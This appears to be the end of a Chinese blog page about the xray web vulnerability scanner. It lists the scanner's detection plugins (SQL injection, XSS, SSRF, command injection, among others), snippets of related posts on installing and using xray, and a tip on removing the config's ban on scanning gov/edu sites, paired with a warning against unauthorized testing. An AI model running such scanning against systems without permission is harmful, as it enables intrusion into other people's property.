Thinkphp系列漏洞检测 (高级版，key: thinkphp)Struts2 系列漏洞检测 (高级版，key: struts)命令/代码注入检测 (key: cmd-injection)路径穿越检测 (key: path-traversal)SQL 注入检测 (key: sqldet)XML 实体注入检测 (key: xxe)jsonp 检测 (key: jsonp)文件上传检测 (key: upload)ssrf 检测 (key: ssrf)XSS漏洞检测 (key: xss)
网安学习路线！最详细没有之一！看了这么多分享网安学习路线的一个详细的都没有！
2401_84618514的博客
06-18 1077
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
xray安装，图形化界面以及和bp联动
strider1123的博客
08-06 1234
这两天学的乱起八糟的，本来是学反序列化，奈何太穷只能白嫖别人的ctfshow，做着做着发现环境没了掉线了，加上php基础不太好断断续续的没学啥玩意，就先放一边瞅了瞅php基础，顺带补之前互联网协议啥的作业 也忘了咋回事就想起来装xray了 直接下载或者是下载之后传上去：https://github.com/chaitin/xray 以及图形化：https://github.com/4ra1n/s...
xray使用入门
2301_80127209的博客
04-25 7952
长亭科技旗下的一款网络安全漏洞扫描工具，用于检测和评估web应用程序的安全性。具有一下特点：检测速读快、检查范围广、代码质量高、高级可定制以及安全无危害。属于不开源的项目，用户直接下载xray的可执行文件，即可运行该工具xray使用了与burpsuit一样的盈利模式：社区版、高级版和企业版xray目前支持检测的漏洞：XSS漏洞检测 (key: xss)SQL 注入检测 (key: sqldet)命令/代码注入检测 (key: cmd-injection)目录枚举 (key: dirscan)
Xray工具的安装与使用
Dream的博客
09-17 1849
xray 配置文件中默认不允许扫描 gov 和 edu 等网站，如果想对这些网站进行授权测试，需要在config.yaml配置文件中移除hostname_disallowed​​ 的相关配置才可以。严禁未授权的测试！
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

K2epUp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值